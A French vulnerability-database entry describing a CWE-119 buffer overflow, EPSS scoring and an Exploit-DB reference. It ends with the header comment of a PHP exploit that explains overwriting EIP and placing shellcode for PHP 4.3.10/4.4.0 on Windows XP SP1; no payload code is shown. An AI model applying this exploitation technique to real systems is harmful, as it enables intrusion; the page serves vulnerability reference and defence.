Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |

EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
EPSS Score
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
EPSS Percentile
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 1406

<?php
/*
This exploit was designed to work with PHP versions 4.3.10 and
4.4.0 under Windows XP SP 1. If another operating system is used,
the replacement EIP must be changed.
The replacement EIP is written 261 bytes into our string. For this
exploit, I used a CALL ESI from ws2_32.dll from Windows XP SP1.
The replacement ESI is simply the base of the PHP image. Locations
after this address will be overwritten with some internal data.
Our shellcode is written into the $user variable. $two is used to
prevent $user from being truncated with a MySQL error message.
